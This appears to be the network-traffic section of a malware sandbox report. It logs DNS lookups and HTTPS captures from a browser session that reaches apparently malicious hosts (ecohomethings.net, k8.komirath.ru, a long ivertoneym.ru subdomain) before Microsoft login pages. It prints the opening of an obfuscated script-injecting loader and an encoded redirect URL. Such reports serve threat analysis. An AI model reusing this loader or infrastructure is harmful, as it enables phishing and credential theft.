Jan 10, 2025 16:33:13.325648069 CET	53	61594	1.1.1.1	192.168.2.17
Jan 10, 2025 16:33:13.326479912 CET	53	52485	1.1.1.1	192.168.2.17
Jan 10, 2025 16:33:13.327085972 CET	53	52385	1.1.1.1	192.168.2.17
Jan 10, 2025 16:33:14.166800976 CET	56791	53	192.168.2.17	1.1.1.1
Jan 10, 2025 16:33:14.167037010 CET	62838	53	192.168.2.17	1.1.1.1
Jan 10, 2025 16:33:14.173532963 CET	53	56791	1.1.1.1	192.168.2.17
Jan 10, 2025 16:33:14.173851013 CET	53	62838	1.1.1.1	192.168.2.17
Jan 10, 2025 16:33:14.458009005 CET	58607	53	192.168.2.17	1.1.1.1
Jan 10, 2025 16:33:14.458146095 CET	54023	53	192.168.2.17	1.1.1.1
Jan 10, 2025 16:33:14.464883089 CET	53	54023	1.1.1.1	192.168.2.17
Jan 10, 2025 16:33:14.465353966 CET	53	58607	1.1.1.1	192.168.2.17
Jan 10, 2025 16:33:14.696641922 CET	55105	53	192.168.2.17	1.1.1.1
Jan 10, 2025 16:33:14.696964979 CET	63543	53	192.168.2.17	1.1.1.1
Jan 10, 2025 16:33:14.703288078 CET	53	55105	1.1.1.1	192.168.2.17
Jan 10, 2025 16:33:14.703608990 CET	53	63543	1.1.1.1	192.168.2.17
Jan 10, 2025 16:33:14.713606119 CET	57953	53	192.168.2.17	1.1.1.1
Jan 10, 2025 16:33:14.713781118 CET	56358	53	192.168.2.17	1.1.1.1
Jan 10, 2025 16:33:14.720786095 CET	53	57953	1.1.1.1	192.168.2.17
Jan 10, 2025 16:33:14.721247911 CET	53	56358	1.1.1.1	192.168.2.17
Jan 10, 2025 16:33:16.765994072 CET	49400	53	192.168.2.17	1.1.1.1
Jan 10, 2025 16:33:16.766194105 CET	60281	53	192.168.2.17	1.1.1.1
Jan 10, 2025 16:33:16.772857904 CET	53	49400	1.1.1.1	192.168.2.17
Jan 10, 2025 16:33:16.772981882 CET	53	60281	1.1.1.1	192.168.2.17
Jan 10, 2025 16:33:18.278918028 CET	53	65245	1.1.1.1	192.168.2.17
Jan 10, 2025 16:33:26.576311111 CET	61748	53	192.168.2.17	1.1.1.1
Jan 10, 2025 16:33:26.576498985 CET	53291	53	192.168.2.17	1.1.1.1
Jan 10, 2025 16:33:26.585436106 CET	53	61748	1.1.1.1	192.168.2.17
Jan 10, 2025 16:33:26.717223883 CET	53	53291	1.1.1.1	192.168.2.17
Jan 10, 2025 16:33:27.711568117 CET	59431	53	192.168.2.17	1.1.1.1
Jan 10, 2025 16:33:27.711796045 CET	50151	53	192.168.2.17	1.1.1.1
Jan 10, 2025 16:33:27.712832928 CET	61701	53	192.168.2.17	1.1.1.1
Jan 10, 2025 16:33:27.713074923 CET	61175	53	192.168.2.17	1.1.1.1
Jan 10, 2025 16:33:27.719942093 CET	53	61701	1.1.1.1	192.168.2.17
Jan 10, 2025 16:33:27.772293091 CET	53	61175	1.1.1.1	192.168.2.17
Jan 10, 2025 16:33:27.950846910 CET	53	52529	1.1.1.1	192.168.2.17
Jan 10, 2025 16:33:28.757121086 CET	60774	53	192.168.2.17	1.1.1.1
Jan 10, 2025 16:33:28.757268906 CET	53423	53	192.168.2.17	1.1.1.1
Jan 10, 2025 16:33:28.764238119 CET	53	53423	1.1.1.1	192.168.2.17
Jan 10, 2025 16:33:30.849644899 CET	51795	53	192.168.2.17	1.1.1.1
Jan 10, 2025 16:33:30.849735975 CET	58869	53	192.168.2.17	1.1.1.1
Jan 10, 2025 16:33:30.857605934 CET	53	58869	1.1.1.1	192.168.2.17
Jan 10, 2025 16:33:31.926554918 CET	60398	53	192.168.2.17	1.1.1.1
Jan 10, 2025 16:33:31.926707029 CET	52588	53	192.168.2.17	1.1.1.1
Jan 10, 2025 16:33:31.933177948 CET	53	60398	1.1.1.1	192.168.2.17
Jan 10, 2025 16:33:31.933439970 CET	53	52588	1.1.1.1	192.168.2.17
Jan 10, 2025 16:33:36.742575884 CET	53	53445	1.1.1.1	192.168.2.17
Jan 10, 2025 16:33:46.935987949 CET	53	62323	1.1.1.1	192.168.2.17
Jan 10, 2025 16:34:09.946892023 CET	53	59002	1.1.1.1	192.168.2.17
Jan 10, 2025 16:34:09.977093935 CET	53	60965	1.1.1.1	192.168.2.17
Jan 10, 2025 16:34:16.769197941 CET	52978	53	192.168.2.17	1.1.1.1
Jan 10, 2025 16:34:16.769438028 CET	57907	53	192.168.2.17	1.1.1.1
Jan 10, 2025 16:34:23.804891109 CET	138	138	192.168.2.17	192.168.2.255
Jan 10, 2025 16:34:39.978384972 CET	53	64703	1.1.1.1	192.168.2.17

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Jan 10, 2025 16:33:11.479898930 CET	192.168.2.17	1.1.1.1	c238	(Port unreachable)	Destination Unreachable
Jan 10, 2025 16:33:12.313661098 CET	192.168.2.17	1.1.1.1	c285	(Port unreachable)	Destination Unreachable
Jan 10, 2025 16:33:26.717310905 CET	192.168.2.17	1.1.1.1	c2bc	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 16:33:10.296745062 CET	192.168.2.17	1.1.1.1	0x427c	Standard query (0)	ecohomethings.net	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:33:10.296745062 CET	192.168.2.17	1.1.1.1	0x25cb	Standard query (0)	ecohomethings.net	65	IN (0x0001)	false
Jan 10, 2025 16:33:11.320431948 CET	192.168.2.17	1.1.1.1	0x6fe0	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:33:11.320708990 CET	192.168.2.17	1.1.1.1	0x70a2	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Jan 10, 2025 16:33:11.321868896 CET	192.168.2.17	1.1.1.1	0x2a51	Standard query (0)	ecohomethings.net	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:33:11.322021961 CET	192.168.2.17	1.1.1.1	0x201e	Standard query (0)	ecohomethings.net	65	IN (0x0001)	false
Jan 10, 2025 16:33:12.043992996 CET	192.168.2.17	1.1.1.1	0x273e	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:33:12.044150114 CET	192.168.2.17	1.1.1.1	0x447b	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Jan 10, 2025 16:33:12.175426960 CET	192.168.2.17	1.1.1.1	0xc361	Standard query (0)	k8.komirath.ru	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:33:12.175728083 CET	192.168.2.17	1.1.1.1	0x29a	Standard query (0)	k8.komirath.ru	65	IN (0x0001)	false
Jan 10, 2025 16:33:13.317998886 CET	192.168.2.17	1.1.1.1	0x13b3	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:33:13.318150997 CET	192.168.2.17	1.1.1.1	0xfeb3	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Jan 10, 2025 16:33:13.318582058 CET	192.168.2.17	1.1.1.1	0xeb56	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:33:13.318721056 CET	192.168.2.17	1.1.1.1	0xd140	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 10, 2025 16:33:13.319812059 CET	192.168.2.17	1.1.1.1	0xdd32	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:33:13.319935083 CET	192.168.2.17	1.1.1.1	0xf74f	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Jan 10, 2025 16:33:14.166800976 CET	192.168.2.17	1.1.1.1	0xd8df	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:33:14.167037010 CET	192.168.2.17	1.1.1.1	0x21bb	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Jan 10, 2025 16:33:14.458009005 CET	192.168.2.17	1.1.1.1	0xfca1	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:33:14.458146095 CET	192.168.2.17	1.1.1.1	0x3132	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 10, 2025 16:33:14.696641922 CET	192.168.2.17	1.1.1.1	0x2789	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:33:14.696964979 CET	192.168.2.17	1.1.1.1	0xd24a	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 10, 2025 16:33:14.713606119 CET	192.168.2.17	1.1.1.1	0x16c1	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:33:14.713781118 CET	192.168.2.17	1.1.1.1	0xd397	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 10, 2025 16:33:16.765994072 CET	192.168.2.17	1.1.1.1	0xe8e2	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:33:16.766194105 CET	192.168.2.17	1.1.1.1	0x6813	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Jan 10, 2025 16:33:26.576311111 CET	192.168.2.17	1.1.1.1	0x44e2	Standard query (0)	dfoh97nttoabozjk8c1554qqi47dok8l4s7qqxqhfxbdhprgqycabbh.ivertoneym.ru	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:33:26.576498985 CET	192.168.2.17	1.1.1.1	0x26ae	Standard query (0)	dfoh97nttoabozjk8c1554qqi47dok8l4s7qqxqhfxbdhprgqycabbh.ivertoneym.ru	65	IN (0x0001)	false
Jan 10, 2025 16:33:27.711568117 CET	192.168.2.17	1.1.1.1	0x13a8	Standard query (0)	login.microsoftonline.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:33:27.711796045 CET	192.168.2.17	1.1.1.1	0x8249	Standard query (0)	login.microsoftonline.com	65	IN (0x0001)	false
Jan 10, 2025 16:33:27.712832928 CET	192.168.2.17	1.1.1.1	0x2070	Standard query (0)	dfoh97nttoabozjk8c1554qqi47dok8l4s7qqxqhfxbdhprgqycabbh.ivertoneym.ru	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:33:27.713074923 CET	192.168.2.17	1.1.1.1	0x9d0a	Standard query (0)	dfoh97nttoabozjk8c1554qqi47dok8l4s7qqxqhfxbdhprgqycabbh.ivertoneym.ru	65	IN (0x0001)	false
Jan 10, 2025 16:33:28.757121086 CET	192.168.2.17	1.1.1.1	0x2278	Standard query (0)	www.office.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:33:28.757268906 CET	192.168.2.17	1.1.1.1	0x83b9	Standard query (0)	www.office.com	65	IN (0x0001)	false
Jan 10, 2025 16:33:30.849644899 CET	192.168.2.17	1.1.1.1	0x809a	Standard query (0)	www.office.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:33:30.849735975 CET	192.168.2.17	1.1.1.1	0x2332	Standard query (0)	www.office.com	65	IN (0x0001)	false
Jan 10, 2025 16:33:31.926554918 CET	192.168.2.17	1.1.1.1	0x9054	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:33:31.926707029 CET	192.168.2.17	1.1.1.1	0xff68	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Jan 10, 2025 16:34:16.769197941 CET	192.168.2.17	1.1.1.1	0xc88a	Standard query (0)	identity.nel.measure.office.net	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:34:16.769438028 CET	192.168.2.17	1.1.1.1	0x6fa2	Standard query (0)	identity.nel.measure.office.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 16:33:10.307390928 CET	1.1.1.1	192.168.2.17	0x427c	No error (0)	ecohomethings.net		103.83.194.55	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:33:11.327586889 CET	1.1.1.1	192.168.2.17	0x6fe0	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:33:11.327586889 CET	1.1.1.1	192.168.2.17	0x6fe0	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:33:11.328722954 CET	1.1.1.1	192.168.2.17	0x70a2	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Jan 10, 2025 16:33:11.330497980 CET	1.1.1.1	192.168.2.17	0x2a51	No error (0)	ecohomethings.net		103.83.194.55	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:33:12.051053047 CET	1.1.1.1	192.168.2.17	0x273e	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:33:12.051053047 CET	1.1.1.1	192.168.2.17	0x273e	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:33:12.051305056 CET	1.1.1.1	192.168.2.17	0x447b	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Jan 10, 2025 16:33:12.267235041 CET	1.1.1.1	192.168.2.17	0xc361	No error (0)	k8.komirath.ru		188.114.97.3	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:33:12.267235041 CET	1.1.1.1	192.168.2.17	0xc361	No error (0)	k8.komirath.ru		188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:33:12.313576937 CET	1.1.1.1	192.168.2.17	0x29a	No error (0)	k8.komirath.ru			65	IN (0x0001)	false
Jan 10, 2025 16:33:13.325269938 CET	1.1.1.1	192.168.2.17	0xd140	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 10, 2025 16:33:13.325282097 CET	1.1.1.1	192.168.2.17	0x13b3	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:33:13.325282097 CET	1.1.1.1	192.168.2.17	0x13b3	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:33:13.325282097 CET	1.1.1.1	192.168.2.17	0x13b3	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:33:13.325282097 CET	1.1.1.1	192.168.2.17	0x13b3	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:33:13.325648069 CET	1.1.1.1	192.168.2.17	0xeb56	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:33:13.325648069 CET	1.1.1.1	192.168.2.17	0xeb56	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:33:13.326479912 CET	1.1.1.1	192.168.2.17	0xdd32	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:33:13.326479912 CET	1.1.1.1	192.168.2.17	0xdd32	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:33:13.327085972 CET	1.1.1.1	192.168.2.17	0xf74f	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Jan 10, 2025 16:33:14.173532963 CET	1.1.1.1	192.168.2.17	0xd8df	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:33:14.173532963 CET	1.1.1.1	192.168.2.17	0xd8df	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:33:14.173532963 CET	1.1.1.1	192.168.2.17	0xd8df	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:33:14.173532963 CET	1.1.1.1	192.168.2.17	0xd8df	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:33:14.464883089 CET	1.1.1.1	192.168.2.17	0x3132	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 10, 2025 16:33:14.465353966 CET	1.1.1.1	192.168.2.17	0xfca1	No error (0)	www.google.com		142.250.185.164	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:33:14.703288078 CET	1.1.1.1	192.168.2.17	0x2789	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:33:14.703288078 CET	1.1.1.1	192.168.2.17	0x2789	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:33:14.703608990 CET	1.1.1.1	192.168.2.17	0xd24a	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 10, 2025 16:33:14.720786095 CET	1.1.1.1	192.168.2.17	0x16c1	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:33:14.720786095 CET	1.1.1.1	192.168.2.17	0x16c1	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:33:14.721247911 CET	1.1.1.1	192.168.2.17	0xd397	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 10, 2025 16:33:16.772857904 CET	1.1.1.1	192.168.2.17	0xe8e2	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:33:26.585436106 CET	1.1.1.1	192.168.2.17	0x44e2	No error (0)	dfoh97nttoabozjk8c1554qqi47dok8l4s7qqxqhfxbdhprgqycabbh.ivertoneym.ru		104.21.42.208	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:33:26.585436106 CET	1.1.1.1	192.168.2.17	0x44e2	No error (0)	dfoh97nttoabozjk8c1554qqi47dok8l4s7qqxqhfxbdhprgqycabbh.ivertoneym.ru		172.67.166.74	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:33:26.717223883 CET	1.1.1.1	192.168.2.17	0x26ae	No error (0)	dfoh97nttoabozjk8c1554qqi47dok8l4s7qqxqhfxbdhprgqycabbh.ivertoneym.ru			65	IN (0x0001)	false
Jan 10, 2025 16:33:27.718437910 CET	1.1.1.1	192.168.2.17	0x13a8	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 16:33:27.718480110 CET	1.1.1.1	192.168.2.17	0x8249	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 16:33:27.772293091 CET	1.1.1.1	192.168.2.17	0x9d0a	No error (0)	dfoh97nttoabozjk8c1554qqi47dok8l4s7qqxqhfxbdhprgqycabbh.ivertoneym.ru			65	IN (0x0001)	false
Jan 10, 2025 16:33:28.400062084 CET	1.1.1.1	192.168.2.17	0x83a2	No error (0)	dfoh97nttoabozjk8c1554qqi47dok8l4s7qqxqhfxbdhprgqycabbh.ivertoneym.ru		104.21.42.208	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:33:28.400062084 CET	1.1.1.1	192.168.2.17	0x83a2	No error (0)	dfoh97nttoabozjk8c1554qqi47dok8l4s7qqxqhfxbdhprgqycabbh.ivertoneym.ru		172.67.166.74	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:33:28.764238119 CET	1.1.1.1	192.168.2.17	0x83b9	No error (0)	www.office.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 16:33:28.764238119 CET	1.1.1.1	192.168.2.17	0x83b9	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 16:33:28.768762112 CET	1.1.1.1	192.168.2.17	0x2278	No error (0)	www.office.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 16:33:28.768762112 CET	1.1.1.1	192.168.2.17	0x2278	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 16:33:29.916080952 CET	1.1.1.1	192.168.2.17	0x2441	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 16:33:29.916080952 CET	1.1.1.1	192.168.2.17	0x2441	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:33:30.821962118 CET	1.1.1.1	192.168.2.17	0xa407	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 16:33:30.821962118 CET	1.1.1.1	192.168.2.17	0xa407	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:33:30.856851101 CET	1.1.1.1	192.168.2.17	0x809a	No error (0)	www.office.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 16:33:30.856851101 CET	1.1.1.1	192.168.2.17	0x809a	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 16:33:30.857605934 CET	1.1.1.1	192.168.2.17	0x2332	No error (0)	www.office.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 16:33:30.857605934 CET	1.1.1.1	192.168.2.17	0x2332	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 16:33:31.933177948 CET	1.1.1.1	192.168.2.17	0x9054	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 16:33:31.933177948 CET	1.1.1.1	192.168.2.17	0x9054	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 16:33:31.933177948 CET	1.1.1.1	192.168.2.17	0x9054	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:33:31.933439970 CET	1.1.1.1	192.168.2.17	0xff68	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 16:33:31.933439970 CET	1.1.1.1	192.168.2.17	0xff68	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 16:34:16.777283907 CET	1.1.1.1	192.168.2.17	0x6fa2	No error (0)	identity.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 16:34:16.777753115 CET	1.1.1.1	192.168.2.17	0xc88a	No error (0)	identity.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

ecohomethings.net

cdnjs.cloudflare.com

k8.komirath.ru

https:

code.jquery.com

challenges.cloudflare.com

dfoh97nttoabozjk8c1554qqi47dok8l4s7qqxqhfxbdhprgqycabbh.ivertoneym.ru

a.nel.cloudflare.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.17	49704	103.83.194.55	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 15:33:11 UTC	655	OUT	GET /res444.php?2-68747470733a2f2f4b382e6b6f6d69726174682e72752f316a5656536847492f-starwort HTTP/1.1 Host: ecohomethings.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 15:33:11 UTC	196	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 15:33:11 GMT Server: Apache Access-Control-Allow-Origin: * Connection: close Transfer-Encoding: chunked Content-Type: text/javascript;charset=UTF-8
2025-01-10 15:33:11 UTC	1974	IN	Data Raw: 37 61 61 0d 0a 20 20 20 20 76 61 72 20 4e 4e 6b 4e 49 4c 77 50 43 65 6b 67 44 59 66 41 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 0d 0a 4e 4e 6b 4e 49 4c 77 50 43 65 6b 67 44 59 66 41 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 2c 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 63 72 79 70 74 6f 2d 6a 73 2f 34 2e 30 2e 30 2f 63 72 79 70 74 6f 2d 6a 73 2e 6d 69 6e 2e 6a 73 22 29 3b 0d 0a 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2e 61 70 70 65 6e 64 28 4e 4e 6b 4e 49 4c 77 50 43 65 6b 67 44 59 66 41 29 3b 0d 0a 4e 4e 6b 4e 49 4c 77 50 43 65 6b 67 44 59 66 41 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 Data Ascii: 7aa var NNkNILwPCekgDYfA = document.createElement("script");NNkNILwPCekgDYfA.setAttribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");document.head.append(NNkNILwPCekgDYfA);NNkNILwPCekgDYfA.onload=function()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.17	49705	104.17.25.14	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 15:33:11 UTC	526	OUT	GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 15:33:11 UTC	961	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 15:33:11 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03e2d-bb78" Last-Modified: Mon, 04 May 2020 16:09:17 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 47546 Expires: Wed, 31 Dec 2025 15:33:11 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VTr1w%2FqNhbD%2B%2BgfsnCla5NbG%2FE2Dux6oydNQFzJIZzUYYl55VSxYTBX1oI8FBVHvIZLOuXRHqUMB6%2BAWS4LZRD75gpx4a6pvOdzXIAmTSxilXQ0GfnetAY3SUCpqzzhaWqkLsp8S"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8ffdb95d4d2f436c-EWR alt-svc: h3=":443"; ma=86400
2025-01-10 15:33:11 UTC	408	IN	Data Raw: 37 62 66 30 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 68 2c 74 2c 65 2c 72 2c 69 2c 6e 2c 66 2c 6f 2c 73 2c 63 2c 61 2c 6c 2c 64 2c 6d 2c 78 2c 62 2c 48 2c 7a 2c 41 2c 75 2c 70 2c 5f 2c 76 2c 79 2c 67 2c 42 2c 77 2c 6b 2c 53 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 2c 4b 2c 58 2c 4c 2c 6a 2c 4e 